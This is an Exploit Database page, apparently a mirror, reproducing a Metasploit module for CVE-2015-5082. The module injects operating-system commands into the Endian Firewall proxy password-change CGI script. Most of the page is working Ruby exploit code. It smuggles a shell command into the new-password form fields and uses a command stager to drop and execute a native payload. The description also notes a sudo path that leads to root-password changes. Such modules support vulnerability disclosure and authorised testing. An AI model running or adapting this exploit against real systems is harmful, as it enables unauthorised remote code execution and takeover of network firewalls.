Endian Firewall – Password Change Command Injection (Metasploit)

• Exploit Database
• 52 阅读

• 作者： Metasploit
  日期： 2015-09-07
• 类别：

  • remote
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/38096/

• ##
  # This module requires Metasploit: http://metasploit.com/download
  # Current source: https://github.com/rapid7/metasploit-framework
  ##
  
  require 'msf/core'
  
  class Metasploit4 < Msf::Exploit::Remote
  
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager
  
  def initialize(info = {})
  super(update_info(info,
  'Name' => 'Endian Firewall Proxy Password Change Command Injection',
  'Description' => %q{
  This module exploits an OS command injection vulnerability in a
  web-accessible CGI script used to change passwords for locally-defined
  proxy user accounts. Valid credentials for such an account are
  required.
  
  Command execution will be in the context of the "nobody" account, but
  this account had broad sudo permissions, including to run the script
  /usr/local/bin/chrootpasswd (which changes the password for the Linux
  root account on the system to the value specified by console input
  once it is executed).
  
  The password for the proxy user account specified will *not* be
  changed by the use of this module, as long as the target system is
  vulnerable to the exploit.
  
  Very early versions of Endian Firewall (e.g. 1.1 RC5) require
  HTTP basic auth credentials as well to exploit this vulnerability.
  Use the USERNAME and PASSWORD advanced options to specify these values
  if required.
  
  Versions >= 3.0.0 still contain the vulnerable code, but it appears to
  never be executed due to a bug in the vulnerable CGI script which also
  prevents normal use (http://jira.endian.com/browse/UTM-1002).
  
  Versions 2.3.x and 2.4.0 are not vulnerable because of a similar bug
  (http://bugs.endian.com/print_bug_page.php?bug_id=3083).
  
  Tested successfully against the following versions of EFW Community:
  
  1.1 RC5, 2.0, 2.1, 2.2, 2.5.1, 2.5.2.
  
  Should function against any version from 1.1 RC5 to 2.2.x, as well as
  2.4.1 and 2.5.x.
  },
  'Author' => [
  'Ben Lincoln' # Vulnerability discovery, exploit, Metasploit module
  ],
  'References' => [
  ['CVE', '2015-5082'],
  ['URL', 'http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-5082'],
  ['EDB', '37426'],
  ['EDB', '37428']
  ],
  'Privileged'=> false,
  'Platform'=> %w{ linux },
  'Payload'=>
  {
  'BadChars' => "\x00\x0a\x0d",
  'DisableNops' => true,
  'Space' => 2048
  },
  'Targets'=>
  [
  [ 'Linux x86',
  {
  'Platform'=> 'linux',
  'Arch'=> ARCH_X86,
  'CmdStagerFlavor' => [ :echo, :printf ]
  }
  ],
  [ 'Linux x86_64',
  {
  'Platform'=> 'linux',
  'Arch'=> ARCH_X86_64,
  'CmdStagerFlavor' => [ :echo, :printf ]
  }
  ]
  ],
  'DefaultOptions' =>
  {
  'SSL' => true,
  'RPORT' => 10443
  },
  'DefaultTarget' => 0,
  'DisclosureDate' => 'Jun 28 2015',
  'License' => MSF_LICENSE
  ))
  
  register_options([
  OptString.new('TARGETURI', [true, 'Path to chpasswd.cgi CGI script',
  '/cgi-bin/chpasswd.cgi']),
  OptString.new('EFW_USERNAME', [true,
  'Valid proxy account username for the target system']),
  OptString.new('EFW_PASSWORD', [true,
  'Valid password for the proxy user account']),
  OptString.new('RPATH', [true,
  'Target PATH for binaries used by the CmdStager', '/bin'])
   ], self.class)
  
  register_advanced_options(
  [
  OptInt.new('HTTPClientTimeout', [ true, 'HTTP read response timeout (seconds)', 5])
  ], self.class)
  
  end
  
  def exploit
  # Cannot use generic/shell_reverse_tcp inside an elf
  # Checking before proceeds
  if generate_payload_exe.blank?
  fail_with(Failure::BadConfig,
  "#{peer} - Failed to store payload inside executable, " +
  "please select a native payload")
  end
  
  execute_cmdstager(:linemax => 200, :nodelete => true)
  end
  
  def execute_command(cmd, opts)
  cmd.gsub!('chmod', "#{datastore['RPATH']}/chmod")
  
  req(cmd)
  end
  
  def req(cmd)
  sploit = "#{datastore['EFW_PASSWORD']}; #{cmd};"
  
  post_data = Rex::MIME::Message.new
  post_data.add_part('change', nil, nil, 'form-data; name="ACTION"')
  post_data.add_part(datastore['EFW_USERNAME'], nil, nil, 'form-data; name="USERNAME"')
  post_data.add_part(datastore['EFW_PASSWORD'], nil, nil, 'form-data; name="OLD_PASSWORD"')
  post_data.add_part(sploit, nil, nil, 'form-data; name="NEW_PASSWORD_1"')
  post_data.add_part(sploit, nil, nil, 'form-data; name="NEW_PASSWORD_2"')
  post_data.add_part('Change password', nil, nil, 'form-data; name="SUBMIT"')
  
  data = post_data.to_s
  boundary = post_data.bound
  
  referer_url =
  "https://#{datastore['RHOST']}:#{datastore['RPORT']}" +
  "#{datastore['TARGETURI']}"
  
  
  res = send_request_cgi(
  {
  'method' => 'POST',
  'uri' => datastore['TARGETURI'],
  'ctype' => "multipart/form-data; boundary=#{boundary}",
  'headers' => {
  'Referer' => referer_url
  },
  'data' => data
  })
  
   if res
   if res.code == 401
   fail_with(Failure::NoAccess,
   "#{rhost}:#{rport} - Received a 401 HTTP response - " +
   "specify web admin credentials using the USERNAME " +
   "and PASSWORD advanced options to target this host.")
   end
   if res.code == 404
   fail_with(Failure::Unreachable,
   "#{rhost}:#{rport} - Received a 404 HTTP response - " +
   "your TARGETURI value is most likely not correct")
   end
   end
  
  end
  
  end